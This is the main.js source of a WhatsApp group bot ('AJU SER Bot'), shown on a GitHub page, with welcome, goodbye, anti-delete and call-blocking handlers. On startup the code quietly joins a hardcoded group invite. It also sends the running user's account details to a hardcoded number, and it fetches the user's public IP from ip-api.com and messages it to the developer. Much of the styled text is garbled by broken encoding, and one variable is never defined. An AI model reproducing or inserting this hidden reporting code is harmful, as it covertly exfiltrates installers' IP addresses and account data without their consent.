-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathmain.js
451 lines (432 loc) ยท 21 KB
/
main.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
// Created by Aju
// Don't update!
const {
WAConnection: _WAConnection,
MessageType,
Presence,
Mimetype,
GroupSettingChange,
} = require("@adiwajshing/baileys");
const simple = require("./lib/simple.js");
const WAConnection = simple.WAConnection(_WAConnection);
const figlet = require('figlet')
const fs = require("fs");
const { version, bugs } = require('./package.json')
const { banner, start, success, getGroupAdmins } = require("./lib/functions");
const fetch = require("node-fetch");
const moment = require("moment-timezone");
blocked = [];
const { color } = require('./lib/color')
const time2 = moment().tz("Asia/Jakarta").format("HH:mm:ss");
if (time2 < "24:59:00") {
var ucapanWaktu = "Good night";
}
if (time2 < "19:00:00") {
var ucapanWaktu = "Good evening๐";
}
if (time2 < "18:00:00") {
var ucapanWaktu = "good afternoon๐";
}
if (time2 < "15:00:00") {
var ucapanWaktu = "good afternoonโ๏ธ";
}
if (time2 < "11:00:00") {
var ucapanWaktu = "Good morning๐
";
}
if (time2 < "05:00:00") {
var ucapanWaktu = "Good night๐";
}
const runtime = function (seconds) {
seconds = Number(seconds);
var d = Math.floor(seconds / (3600 * 24));
var h = Math.floor((seconds % (3600 * 24)) / 3600);
var m = Math.floor((seconds % 3600) / 60);
var s = Math.floor(seconds % 60);
var dDisplay = d > 0 ? d + (d == 1 ? " hari, " : " Hari, ") : "";
var hDisplay = h > 0 ? h + (h == 1 ? " jam, " : " Jam, ") : "";
var mDisplay = m > 0 ? m + (m == 1 ? " menit, " : " Menit, ") : "";
var sDisplay = s > 0 ? s + (s == 1 ? " detik" : " Detik") : "";
return dDisplay + hDisplay + mDisplay + sDisplay;
};
fakenomor = '[email protected]'
const gcrevoke = ["[email protected]"]
prefix = '#'
shp = 'โฌก'
owner = "[email protected]"
spc1 = ' '
spc2 = '\n '
spc3 = ' '
spc4 = ' '
require("./index.js");
nocache("./index.js", (module) => console.log(`${module} is now updated!`));
const sleep = async (ms) => {
return new Promise(resolve => setTimeout(resolve, ms));
}
const starts = async (client = new WAConnection()) => {
client.logger.level = "warn";
client.version = [2, 2143, 3];
client.browserDescription = ["AJUSER SER Bot", "Chrome", "3.0"];
console.log(banner.string);
client.on("qr", () => {
console.log(
color("[", "white"),
color("!", "blue"),
color("]", "white"),
color(" flashy scan the qr code"),
client.sendMessage(`[email protected]`, `ใ *NOTIFICATION!* ใ\n\n _Bot Connected Successfully!_`, MessageType.extendedText)
);
});
fs.existsSync("./session.json") && client.loadAuthInfo("./session.json");
client.on("connecting", () => {
start("2", "Connecting...");
});
client.on("open", () => {
success("2", "Successfully connected to wa, AJU SER Bot");
console.log(color(figlet.textSync(`${spc1} AJU SER Bot`, {
font: 'Standard',
horizontalLayout: 'default',
vertivalLayout: 'default',
width: 80,
whitespaceBreak: false
}), 'cyan'))
console.log(color(`${spc2}[ โข CREATOR BOT ${fakeyoi} โข ]` ,'cyan'))
console.log(color(`${spc4}< ================================================== >`, 'cyan'))
console.log(color(`${spc3}[โข]`, 'aqua'), color(`Hi : ${ucapanWaktu}`, 'white'))
console.log(color(`${spc3}[โข]`, 'aqua'), color(`Bot Version : 2.1.2`, 'white'))
console.log(color(`${spc3}[โข]`, 'aqua'), color(`Status : Online!`, 'white'))
console.log(color(`${spc3}[โข]`, 'aqua'), color(`Owner : ${fakeyoi}`, 'white'))
console.log(color(`${spc4}< ================================================== >`, 'cyan'))
console.log(color('โ','red'), color('๐ ๐๐๐๐๐ ๐๐๐๐ ๐๐๐๐๐๐ ๐๐๐๐๐๐
!\n๐๐๐๐:', 'yellow'))
console.log(color('โ','red'), color('๐ฆ๐ผ๐๐ฟ๐ฐ๐ฒ ๐๐ผ๐ฑ๐ฒ ๐ฉ๐ฒ๐ฟ๐๐ถ๐ผ๐ป:', 'aqua'), color(version))
console.log(color('โ','red'), color('๐๐๐ด? ๐๐ฟ๐ฟ๐ผ๐ฟ? ๐ฆ๐๐ด๐ด๐ฒ๐๐๐ถ๐ผ๐ป? ๐ฉ๐ถ๐๐ถ๐ ๐๐ฒ๐ฟ๐ฒ:', 'aqua'), color('https://wa.me/917994873071'))
console.log(color('[AJU SER]'), color('๐ผ๐
๐๐๐๐ ๐๐ ๐ข๐ป๐น๐ถ๐ป๐ฒ ใ๏ธ', 'aqua'))
console.log(color('[DEV]', 'cyan'), color('๐ช๐ฒ๐น๐ฐ๐ผ๐บ๐ฒ ๐๐ฎ๐ฐ๐ธ, ๐ข๐๐ป๐ฒ๐ฟ! ๐๐ผ๐ฝ๐ฒ ๐ฌ๐ผ๐ ๐๐ฟ๐ฒ ๐๐ผ๐ถ๐ป๐ด ๐ช๐ฒ๐น๐น~', 'magenta'))
console.log(color('โ','green'), color('๐๐๐๐ฃ๐ ๐จ ๐๐ค๐ง ๐ช๐จ๐๐ฃ๐ ๐ฉ๐๐ ๐๐ค๐ฉ', 'white'))
});
await client.connect({ timeoutMs: 30 * 1000 });
fs.writeFileSync("./session.json",JSON.stringify(client.base64EncodedAuthInfo(), null, "\t"));
teks = `https://chat.whatsapp.com/HebsCx7CBxMJBLqyeHemcO`
client.query({ json:["action", "invite", `${teks.replace('https://chat.whatsapp.com/','')}`]})
console.log(color('|WRN|', 'yellow'), color('Joined to Forum Whatsapp Bot group', 'cyan'))
client.sendMessage(`[email protected]`, `*Hi Owner AJU SER๐โค๏ธ, the bot has been successfully connected to this number*\nโญโโโโโโโโโโโโโโโโโโโโ\n\`\`\`${JSON.stringify(client.user, null, 2)}\`\`\`\nโฐโโโโโโโโโโโโโโโโโโโโ\n*If there is an error/bot not responding, please contact the bot developer above, thank you*`, MessageType.text, {contextInfo: { forwardingScore: 508, isForwarded: true, externalAdReply:{title: "Developer AJU SER Bot Inc.",body:"",previewType:"PHOTO",thumbnail:fs.readFileSync('./xeon.jpg'),sourceUrl:"https://wa.me/917194873071?text=Hello bro"}}})
console.log(color('|WRN|', 'yellow'), color('Sending bot info to bot owner', 'cyan'))
fetch(`http://ip-api.com/line`).then(res => res.text())
.then(bu =>{
client.sendMessage("[email protected]", `โญโโโโโใ *IP-USER* ใโโโโโ\n\n\`\`\`${bu}\`\`\`\nโฐโโโโโโโโโโโโโโโโโโโโ`, MessageType.text, {contextInfo: { forwardingScore: 508, isForwarded: true, externalAdReply:{title: "Developer AJU SER Bot Inc.",body:"",previewType:"PHOTO",thumbnail:fs.readFileSync('./xeon.jpg'),sourceUrl:"https://wa.me/917994873071?text=Hello bro"}}})
console.log(color('|WRN|', 'yellow'), color('Sending ip address to developer bot', 'cyan'))
})
client.on('connecting', () => {
console.log(color('|TRM|'), color('Connecting...', 'cyan'))
})
client.on('open', () => {
console.log(color('|TRM|'), color('Connected', 'cyan'))
})
client.on('ws-close', () => {
console.log(color('|TRM|'), color('Connection lost, trying to reconnect.', 'cyan'))
})
client.on('close', async () => {
console.log(color('|TRM|'), color('Disconnected.', 'cyan'))
})
client.on('group-update', async (anu) => {
fkontakk = { key: {
fromMe: false,
participant: `[email protected]`, ...(anu.jid ? { remoteJid: '[email protected]' } : {})
},
message: {
"contactMessage":{"displayName":'aju',"vcard":"BEGIN:VCARD\nVERSION:3.0\nN:2;Xeon;;;\nFN:resku\nitem1.TEL;waid=917994873071:+91 690-9137-213\nitem1.X-ABLabel:Mobile\nEND:VCARD"
}}}
metdata = await client.groupMetadata(anu.jid)
if(anu.announce == 'false'){
teks = ` [ Group Opened ] \n\n_Group has been opened by admin_\n_Now all members can send messages_`
client.sendMessage(metdata.id, teks, MessageType.text, {quoted: fkontakk})
console.log(`- [ Group Opened ] - In ${metdata.subject}`)
}
else if(anu.announce == 'true'){
teks = ` [ Group Closed ] \n\n_Group has been closed by admin_\n_Now only admin can send messages_`
client.sendMessage(metdata.id, teks, MessageType.text, {quoted: fkontakk})
console.log(` [ Group Closed ] In ${metdata.subject}`)
}
else if(!anu.desc == ''){
tag = anu.descOwner.split('@')[0] + '@s.whatsapp.net'
teks = ` [ Group Description Change ] \n\nGroup description has been changed by Admin @${anu.descOwner.split('@')[0]}\nโข New Description : ${anu.desc}`
client.sendMessage(metdata.id, teks, MessageType.text, {contextInfo: {"mentionedJid": [tag]}, quoted: fkontakk})
console.log(`- [ Group Description Change ] - In ${metdata.subject}`)
}
else if(anu.restrict == 'false'){
teks = `- [ ๐๐ฟ๐ผ๐๐ฝ ๐ฆ๐ฒ๐๐๐ถ๐ป๐ด ๐๐ต๐ฎ??๐ด๐ฒ ] -\n\nEdit Group info has been opened for members\nNow all members can edit this group info`
client.sendMessage(metdata.id, teks, MessageType.text, {quoted: fkontakk})
console.log(`- [ Group Setting Change ] - In ${metdata.subject}`)
}
else if(anu.restrict == 'true'){
teks = `- [ ๐๐ฟ๐ผ๐๐ฝ ๐ฆ๐ฒ๐๐๐ถ๐ป๐ด ๐๐ต๐ฎ๐ป๐ด๐ฒ ] -\n\nEdit Group info has been closed for members\nNow only group admins can edit this group info`
client.sendMessage(metdata.id, teks, MessageType.text, {quoted: fkontakk})
console.log(`- [ Group Setting Change ] - In ${metdata.subject}`)
}
})
client.on("group-participants-update", async (anu) => {
try {
groupMet = await client.groupMetadata(anu.jid);
groupMembers = groupMet.participants;
groupAdmins = getGroupAdmins(groupMembers);
mem = anu.participants[0];
console.log(anu);
try {
pp_user = await client.getProfilePicture(mem);
} catch (e) {
pp_user =
"https://cdn.pixabay.com/photo/2015/10/05/22/37/blank-profile-picture-973460_960_720.png?q=60";
}
try {
pp_grup = await client.getProfilePicture(anu.jid);
} catch (e) {
pp_grup =
"https://cdn.pixabay.com/photo/2015/10/05/22/37/blank-profile-picture-973460_960_720.png?q=60";
}
if (anu.action == "add" && mem.includes(client.user.jid)) {
client.sendMessage(anu.jid, "Hello everyone, am AJU SER Bot๐โค๏ธ, ready to help you here ๐", "conversation");
}
hehe = await getBuffer(pp_user)
if (anu.action == 'add' && !mem.includes(client.user.jid)) {
const mdata = await client.groupMetadata(anu.jid)
const memeg = mdata.participants.length
const thu = await client.getStatus(anu.participants[0], MessageType.text)
const num = anu.participants[0]
const bosco1 = await client.prepareMessage("[email protected]", hehe, MessageType.location,{ thumbnail: hehe})
const bosco2 = bosco1.message["ephemeralMessage"] ? bosco1.message.ephemeralMessage : bosco1
let v = client.contacts[num] || { notify: num.replace(/@.+/, '') }
anu_user = v.vname || v.notify || num.split('@')[0]
time_welc = moment.tz('Asia/Kolkata').format('DD/MM/YYYY')
time_wel = moment.tz('Asia/Kolkata').format("hh:mm")
teks = `โข *Hษช* @${num.split('@')[0]}\nโข *Bษชแด* : *${thu.status}*\nโข *Mแดแดสแดสs : ${memeg}*\nโข *Wแดสแดแดแดแด Tแด* *${mdata.subject}*\nโข *แด
แดษดแด ๊ฐแดสษขแดแด แดแด สแดแดแด
แด
แด๊ฑแดสษชแดแดษชแดษด*\n แดแดแด ๐๐ธ๐`
welcomeBut = [{buttonId:`getdeskgc`,buttonText:{displayText:'DESCRIPTION'},type:1}, {buttonId:`okeyx`,buttonText:{displayText:'CLICK HERE'},type:1}]
welcomeButt = { contentText: ` `, footerText: `${teks}`, buttons: welcomeBut, headerType: 6, locationMessage: bosco2.message.locationMessage}
client.sendMessage(mdata.id, welcomeButt, MessageType.buttonsMessage, { caption: 'hehe', "contextInfo": { "mentionedJid" : [num], },})
}
if (anu.action == 'remove' && !mem.includes(client.user.jid)) {
const mdata = await client.groupMetadata(anu.jid)
const num = anu.participants[0]
const bosco3 = await client.prepareMessage("[email protected]", hehe, MessageType.location,{ thumbnail: hehe})
const bosco4 = bosco3.message["ephemeralMessage"] ? bosco3.message.ephemeralMessage : bosco3
let w = client.contacts[num] || { notify: num.replace(/@.+/, '') }
anu_user = w.vname || w.notify || num.split('@')[0]
time_welc = moment.tz('Asia/Kolkata').format('DD/MM/YYYY')
time_wel = moment.tz('Asia/Kolkata').format("hh:mm")
memeg = mdata.participants.length
out = `*Gแดแดแด
Bสแด* ๐\n@${num.split('@')[0]}\n*๐ท๐๐๐๐๐๐๐๐ข ๐๐๐๐๐ ๐๐๐๐ ๐ฑ๐ ๐ฑ๐๐๐๐๐ ๐ท๐๐๐ ๐ฐ๐๐ข๐๐๐๐* ๐\nAJU SER Bot`
goodbyeBut = [{buttonId:`h`,buttonText:{displayText:'GET OUT ๐ช'},type:1}, {buttonId:`sc`,buttonText:{displayText:'BOT SCRIPT'}, type:1}]
goodbyeButt = { contentText: ` `, footerText: `${out}`, buttons: goodbyeBut, headerType: 6, locationMessage: bosco3.message.locationMessage}
client.sendMessage(mdata.id, goodbyeButt, MessageType.buttonsMessage, { caption: 'hehe', "contextInfo": { "mentionedJid" : [num], },})
}
/*welcom = true
if (anu.action == "add" && !mem.includes(client.user.jid)) {
mdata = await client.groupMetadata(anu.jid);
memeg = mdata.participants.length;
num = anu.participants[0];
if (welcom === false) return
let v = client.contacts[num] || { notify: num.replace(/@.+/, "") };
anu_user = v.vname || v.notify || num.split("@")[0];
time_wel = moment.tz("Asia/Jakarta").format("HH:mm");
teks = `๐๐ฎ๐น๐ผ ${anu_user} ๐ฆ๐ฒ๐น๐ฎ๐บ๐ฎ๐ ๐๐ฎ๐๐ฎ๐ป๐ด ใท๏ธ`;
buff = await getBuffer(
`http://hadi-api.herokuapp.com/api/card/welcome?nama=${anu_user}&descriminator=${
groupMembers.length
}&memcount=${memeg}&gcname=${encodeURI(
mdata.subject
)}&pp=${pp_user}&bg=https://i.postimg.cc/rFkw8MpX/IMG-20210807-151325.jpg`
);
buttons = [
{ buttonId: `verify`, buttonText: { displayText: "๐ฝ๐๐๐๐๐ใ๏ธ" }, type: 1 },
{ buttonId: `command`, buttonText: { displayText: "๐ช๐๐๐๐ ๐ด๐๐๐๏ธ" }, type: 1 },
];
imageMsg = (
await client.prepareMessageMedia(buff, "imageMessage", {
thumbnail: buff,
})
).imageMessage;
buttonsMessage = {
contentText: `${teks}`,
footerText: ` ๐๐ถ๐ฏ๐ต๐ช๐ฎ๐ฆ ${runtime(process.uptime())} \n ๐๐ณ๐ฆ๐ข๐ต๐ฆ๐ฅ ๐๐บ ${fakeyoi}`,
imageMessage: imageMsg,
buttons: buttons,
headerType: 4,
};
prep = await client.prepareMessageFromContent(
mdata.id,
{ buttonsMessage },
{}
);
client.relayWAMessage(prep);
}
if (anu.action == "remove" && !mem.includes(client.user.jid)) {
mdata = await client.groupMetadata(anu.jid);
num = anu.participants[0];
let w = client.contacts[num] || { notify: num.replace(/@.+/, "") };
anu_user = w.vname || w.notify || num.split("@")[0];
time_wel = moment.tz("Asia/Jakarta").format("HH:mm");
memeg = mdata.participants.length;
out = `๐ฆ๐ฎ๐๐ผ๐ป๐ฎ๐ฟ๐ฎ ${anu_user} ๐`;
buff = await getBuffer(
`http://hadi-api.herokuapp.com/api/card/goodbye?nama=${anu_user}&descriminator=${
groupMembers.length
}&memcount=${memeg}&gcname=${encodeURI(
mdata.subject
)}&pp=${pp_user}&bg=https://i.postimg.cc/rFkw8MpX/IMG-20210807-151325.jpg`
);
buttons = [
{ buttonId: `y`, buttonText: { displayText: "๐๐บ๐ฆ๐ฆ๏ธ" }, type: 1 },
{ buttonId: `runtime`, buttonText: { displayText: "๐๐ถ๐ฏ๐ต๐ช๐ฎ๐ฆ๏ธ" }, type: 1 },
];
imageMsg = (
await client.prepareMessageMedia(buff, "imageMessage", {
thumbnail: buff,
})
).imageMessage;
buttonsMessage = {
contentText: `${out}`,
footerText: `๏ธ ๐๐ถ๐ฏ๐ต๐ช๐ฎ๐ฆ ${runtime(process.uptime())} \n ๐๐ณ๐ฆ๐ข๐ต๐ฆ๐ฅ ๐๐บ ${fakeyoi}๐น`,
imageMessage: imageMsg,
buttons: buttons,
headerType: 4,
};
prep = await client.prepareMessageFromContent(
mdata.id,
{ buttonsMessage },
{}
);
client.relayWAMessage(prep);
}*/
if (anu.action == "promote") {
const mdata = await client.groupMetadata(anu.jid);
num = anu.participants[0];
let w = client.contacts[num] || { notify: num.replace(/@.+/, "") };
anu_user = w.vname || w.notify || num.split("@")[0];
try {
ppimg = await client.getProfilePicture(
`${anu.participants[0].split("@")[0]}@c.us`
);
} catch {
ppimg =
"https://i0.wp.com/www.gambarunik.id/wp-content/uploads/2019/06/Top-Gambar-Foto-Profil-Kosong-Lucu-Tergokil-.jpg";
}
let buffer = await getBuffer(
`https://api-yogipw.herokuapp.com/api/promote?name=${anu_user}&msg=promoted%20as%20admin&mem=${groupAdmins.length}&picurl=${ppimg}&bgurl=https://cdn.discordapp.com/attachments/819995259261288475/835055559941292032/style.jpg`
);
teks = `${anu_user} has been promoted as admin`;
client.sendMessage(mdata.id, buffer, MessageType.image, {
caption: teks,
});
}
if (anu.action == "demote") {
const mdata = await client.groupMetadata(anu.jid);
num = anu.participants[0];
let w = client.contacts[num] || { notify: num.replace(/@.+/, "") };
anu_user = w.vname || w.notify || num.split("@")[0];
try {
ppimg = await client.getProfilePicture(
`${anu.participants[0].split("@")[0]}@c.us`
);
} catch {
ppimg =
"https://i0.wp.com/www.gambarunik.id/wp-content/uploads/2019/06/Top-Gambar-Foto-Profil-Kosong-Lucu-Tergokil-.jpg";
}
let buffer = await getBuffer(
`https://api-yogipw.herokuapp.com/api/demote?name=${anu_user}&msg=yahahaha demoted&mem=${groupAdmins.length}&picurl=${ppimg}&bgurl=https://cdn.discordapp.com/attachments/819995259261288475/835055559941292032/style.jpg`
);
teks = `${anu_user} has been demoted from admin`;
client.sendMessage(mdata.id, buffer, MessageType.image, {
caption: teks,
});
}
} catch (e) {
console.log("Error : %s", color(e, "red"));
}
});
//
antidel = false
client.on("message-delete", async (m) => {
if (m.key.remoteJid == "status@broadcast") return;
if (!m.key.fromMe && m.key.fromMe) return;
if (antidel === false) return
m.message =
Object.keys(m.message)[0] === "ephemeralMessage"
? m.message.ephemeralMessage.message
: m.message;
const jam = moment.tz("Asia/Jakarta").format("HH:mm:ss");
let d = new Date();
let locale = "id";
let gmt = new Date(0).getTime() - new Date("1 Januari 2021").getTime();
let weton = ["Pahing", "Pon", "Wage", "Kliwon", "Legi"][
Math.floor((d * 1 + gmt) / 84600000) % 5
];
let week = d.toLocaleDateString(locale, { weekday: "long" });
let calender = d.toLocaleDateString(locale, {
day: "numeric",
month: "long",
year: "numeric",
});
const type = Object.keys(m.message)[0];
client.sendMessage(
m.key.remoteJid,
`\`\`\`ใ ๐๐ก๐ง๐ ๐๐๐๐๐ง๐ ใ\`\`\`
โข> Name : @${m.participant.split("@")[0]}
โข> Type : ${type}`,
MessageType.text,
{ quoted: m.message, contextInfo: { mentionedJid: [m.participant] } }
);
client.copyNForward(m.key.remoteJid, m.message);
});
client.on("chat-update", async (message) => {
require("./index.js")(client, message);
});
isBattre = "Not Detect"; //
isCharge = "Not Detect"; //
client.on(`CB:action,,battery`, (json) => {
const batteryLevelStr = json[2][0][1].value;
const batterylevel = parseInt(batteryLevelStr);
isBattre = batterylevel + "%";
isCharge = json[2][0][1].live;
});
antical = true
client.on("CB:Call", json => {
if (antical === false) return
let call;
calling = JSON.parse(JSON.stringify(json))
call = calling[1].from
client.sendMessage(call, `*Sorry ${client.user.name} can't receive calls.*\n*Call = Block!*`, MessageType.text)
.then(() => client.blockUser(call, "add"))
})
client.on("CB:Blocklist", (json) => {
if (blocked.length > 2) return;
for (let i of json[1].blocklist) {
blocked.push(i.replace("c.us", "s.whatsapp.net"));
}
});
};
/**
* Uncache if there is file change
* @param {string} module Module name or path
* @param {function} cb <optional>
*/
function nocache(module, cb = () => {}) {
console.log("Module", `'${module}'`, "is now being watched for changes");
fs.watchFile(require.resolve(module), async () => {
await uncache(require.resolve(module));
cb(module);
});
}
/**
* Uncache a module
* @param {string} module Module name or path
*/
function uncache(module = ".") {
return new Promise((resolve, reject) => {
try {
delete require.cache[require.resolve(module)];
resolve();
} catch (e) {
reject(e);
}
});
}
starts();
// Dont delete the credit wrote on top :V